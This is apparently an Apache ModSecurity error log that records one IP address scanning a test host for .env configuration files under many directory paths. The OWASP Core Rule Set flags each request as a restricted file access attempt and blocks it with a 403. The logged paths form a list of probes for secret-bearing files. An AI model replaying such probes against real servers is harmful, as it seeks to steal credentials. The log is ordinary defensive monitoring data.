[Wed Feb 25 06:05:34.442372 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-collected/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6gAAAAc&quot;]
[Wed Feb 25 06:05:34.480381 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6wAAAAc&quot;]
[Wed Feb 25 06:05:34.480612 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6wAAAAc&quot;]
[Wed Feb 25 06:05:34.480840 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-html/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY6wAAAAc&quot;]
[Wed Feb 25 06:05:34.597631 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static-root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY7AAAAAc&quot;]
[Wed Feb 25 06:05:34.597891 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY7AAAAAc&quot;]
[Wed Feb 25 06:05:34.598076 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static-root/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY7AAAAAc&quot;]
[Wed Feb 25 06:05:34.619474 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY7QAAAAc&quot;]
[Wed Feb 25 06:05:34.619735 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY7QAAAAc&quot;]
[Wed Feb 25 06:05:34.619901 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.env&quot;] [unique_id &quot;aZ6DHov6AM5Bs3q_JQDY7QAAAAc&quot;]
[Wed Feb 25 06:05:34.627309 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYQAAAAA&quot;]
[Wed Feb 25 06:05:34.627544 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYQAAAAA&quot;]
[Wed Feb 25 06:05:34.627697 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYQAAAAA&quot;]
[Wed Feb 25 06:05:34.666813 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYgAAAAA&quot;]
[Wed Feb 25 06:05:34.667148 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYgAAAAA&quot;]
[Wed Feb 25 06:05:34.667348 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYgAAAAA&quot;]
[Wed Feb 25 06:05:34.767720 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYwAAAAA&quot;]
[Wed Feb 25 06:05:34.767997 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYwAAAAA&quot;]
[Wed Feb 25 06:05:34.768168 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibYwAAAAA&quot;]
[Wed Feb 25 06:05:34.809191 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/deployment-agent/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZAAAAAA&quot;]
[Wed Feb 25 06:05:34.809494 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZAAAAAA&quot;]
[Wed Feb 25 06:05:34.809723 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZAAAAAA&quot;]
[Wed Feb 25 06:05:34.870202 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/documents/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZQAAAAA&quot;]
[Wed Feb 25 06:05:34.870466 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZQAAAAA&quot;]
[Wed Feb 25 06:05:34.870624 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZQAAAAA&quot;]
[Wed Feb 25 06:05:34.968533 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/graylog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZgAAAAA&quot;]
[Wed Feb 25 06:05:34.968818 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZgAAAAA&quot;]
[Wed Feb 25 06:05:34.969007 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ6DHmXxsr5IXP-ltRibZgAAAAA&quot;]
[Wed Feb 25 06:05:35.084617 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/jaeger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibZwAAAAA&quot;]
[Wed Feb 25 06:05:35.084886 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibZwAAAAA&quot;]
[Wed Feb 25 06:05:35.085055 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibZwAAAAA&quot;]
[Wed Feb 25 06:05:35.194354 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/minio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibaAAAAAA&quot;]
[Wed Feb 25 06:05:35.194606 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibaAAAAAA&quot;]
